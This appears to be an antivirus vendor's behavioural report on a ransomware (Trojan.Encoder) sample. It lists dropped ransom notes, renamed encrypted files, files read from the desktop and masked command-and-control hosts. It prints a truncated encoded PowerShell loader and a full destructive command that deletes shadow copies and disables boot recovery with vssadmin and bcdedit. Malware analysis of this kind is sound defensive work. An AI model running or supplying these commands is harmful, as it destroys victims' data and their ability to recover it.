Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\1t91z36m-readme.txt
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...
Terminates or attempts to terminate
the following user processes:
- firefox.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\13.jpg
- %HOMEPATH%\desktop\sdksampleunprivdeveloper.cer
- %HOMEPATH%\desktop\pmd.cer
- %HOMEPATH%\desktop\parnas_01.jpg
- %HOMEPATH%\desktop\iisstart.html
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\dial.bmp
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\contoso_1.cer
- %HOMEPATH%\desktop\contosoroot_1.cer
- %HOMEPATH%\desktop\contoso.cer
- %HOMEPATH%\desktop\api-hashmap.html
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\adhd_and_obesity.docx
- %HOMEPATH%\desktop\adadsi.html
- %HOMEPATH%\desktop\about.htm
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpg
- %HOMEPATH%\desktop\3.jpg
- %HOMEPATH%\desktop\3.jpeg
- %HOMEPATH%\desktop\168.jpeg
- %HOMEPATH%\desktop\tileimage.bmp
- %HOMEPATH%\desktop\tree_view.html
Modifies file system
Creates the following files
- %HOMEPATH%\cscgbwvk.exe
- %HOMEPATH%\contacts\1t91z36m-readme.txt
- C:\users\public\videos\1t91z36m-readme.txt
- C:\users\public\recorded tv\1t91z36m-readme.txt
- C:\users\public\pictures\1t91z36m-readme.txt
- C:\users\public\music\1t91z36m-readme.txt
- C:\users\public\libraries\1t91z36m-readme.txt
- C:\users\public\favorites\1t91z36m-readme.txt
- C:\users\public\downloads\1t91z36m-readme.txt
- C:\users\public\documents\1t91z36m-readme.txt
- C:\users\default\videos\1t91z36m-readme.txt
- %HOMEPATH%\documents\1t91z36m-readme.txt
- C:\users\default\saved games\1t91z36m-readme.txt
- C:\users\default\pictures\1t91z36m-readme.txt
- C:\users\default\music\1t91z36m-readme.txt
- C:\users\default\links\1t91z36m-readme.txt
- C:\users\default\favorites\1t91z36m-readme.txt
- C:\users\default\downloads\1t91z36m-readme.txt
- C:\users\default\documents\1t91z36m-readme.txt
- C:\users\default\desktop\1t91z36m-readme.txt
- C:\users\public\desktop\1t91z36m-readme.txt
- C:\far2\plugins\compare\1t91z36m-readme.txt
- %HOMEPATH%\downloads\1t91z36m-readme.txt
- %HOMEPATH%\favorites\msn websites\1t91z36m-readme.txt
- %HOMEPATH%\favorites\microsoft websites\1t91z36m-readme.txt
- %HOMEPATH%\favorites\links for united states\1t91z36m-readme.txt
- %HOMEPATH%\favorites\links\1t91z36m-readme.txt
- C:\users\public\videos\sample videos\1t91z36m-readme.txt
- C:\users\public\recorded tv\sample media\1t91z36m-readme.txt
- C:\users\public\pictures\sample pictures\1t91z36m-readme.txt
- C:\users\public\music\sample music\1t91z36m-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\desktop\1t91z36m-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\1t91z36m-readme.txt
- %HOMEPATH%\desktop\1t91z36m-readme.txt
- C:\far2\addons\colors\default_highlighting\1t91z36m-readme.txt
- C:\far2\addons\colors\custom_highlighting\1t91z36m-readme.txt
- %HOMEPATH%\voip\1t91z36m-readme.txt
- %HOMEPATH%\videos\1t91z36m-readme.txt
- %HOMEPATH%\searches\1t91z36m-readme.txt
- %HOMEPATH%\saved games\1t91z36m-readme.txt
- %HOMEPATH%\pictures\1t91z36m-readme.txt
- %HOMEPATH%\music\1t91z36m-readme.txt
- %HOMEPATH%\links\1t91z36m-readme.txt
- C:\far2\addons\xlat\russian\1t91z36m-readme.txt
- %HOMEPATH%\favorites\1t91z36m-readme.txt
- C:\far2\pluginsdk\headers.pas\1t91z36m-readme.txt
- C:\far2\pluginsdk\headers.c\1t91z36m-readme.txt
- C:\far2\plugins\tmppanel\1t91z36m-readme.txt
- C:\far2\addons\1t91z36m-readme.txt
- C:\users\default\1t91z36m-readme.txt
- C:\totalcmd\language\1t91z36m-readme.txt
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\1t91z36m-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\1t91z36m-readme.txt
- C:\far2\pluginsdk\1t91z36m-readme.txt
- C:\far2\plugins\1t91z36m-readme.txt
- C:\far2\fexcept\1t91z36m-readme.txt
- C:\far2\encyclopedia\1t91z36m-readme.txt
- %HOMEPATH%\favorites\windows live\1t91z36m-readme.txt
- %HOMEPATH%\1t91z36m-readme.txt
- <Current directory>\~$upatzf.doc
- C:\users\1t91z36m-readme.txt
- C:\totalcmd\1t91z36m-readme.txt
- C:\recovery\1t91z36m-readme.txt
- %ProgramFiles(x86)%\1t91z36m-readme.txt
- %ProgramFiles%\1t91z36m-readme.txt
- C:\far2\1t91z36m-readme.txt
- <Current directory>\1t91z36m-readme.txt
- C:\1t91z36m-readme.txt
- C:\far2\documentation\1t91z36m-readme.txt
- C:\far2\plugins\ftp\lib\1t91z36m-readme.txt
- C:\far2\addons\colors\1t91z36m-readme.txt
- C:\far2\addons\shell\1t91z36m-readme.txt
- C:\far2\addons\macros\1t91z36m-readme.txt
- C:\far2\plugins\proclist\1t91z36m-readme.txt
- C:\far2\plugins\network\1t91z36m-readme.txt
- C:\far2\plugins\macroview\1t91z36m-readme.txt
- C:\far2\plugins\hlfviewer\1t91z36m-readme.txt
- C:\far2\plugins\ftp\1t91z36m-readme.txt
- C:\far2\plugins\filecase\1t91z36m-readme.txt
- C:\far2\plugins\farcmds\1t91z36m-readme.txt
- C:\far2\plugins\emenu\1t91z36m-readme.txt
- C:\far2\addons\setup\1t91z36m-readme.txt
- C:\far2\plugins\editcase\1t91z36m-readme.txt
- C:\users\public\1t91z36m-readme.txt
- C:\far2\plugins\brackets\1t91z36m-readme.txt
- C:\far2\plugins\autowrap\1t91z36m-readme.txt
- C:\far2\plugins\arclite\1t91z36m-readme.txt
- C:\far2\plugins\align\1t91z36m-readme.txt
- C:\far2\encyclopedia\tap\1t91z36m-readme.txt
- C:\far2\documentation\rus\1t91z36m-readme.txt
- C:\far2\documentation\eng\1t91z36m-readme.txt
- C:\far2\addons\xlat\1t91z36m-readme.txt
- C:\far2\plugins\drawline\1t91z36m-readme.txt
- D:\1t91z36m-readme.txt
Moves the following files
- from <Current directory>\~$upatzf.doc to <Current directory>\~$upatzf.doc.1t91z36m
Moves itself
- from <PATH_SAMPLE>.doc to <PATH_SAMPLE>.doc.1t91z36m
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'pa###bin.com':443
TCP
HTTP GET requests
- http://fc####leibrahim.top/sywo/fgoow.php?l=#############
- http://18#.#93.141.248/gs.php
UDP
- DNS ASK fc####leibrahim.top
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
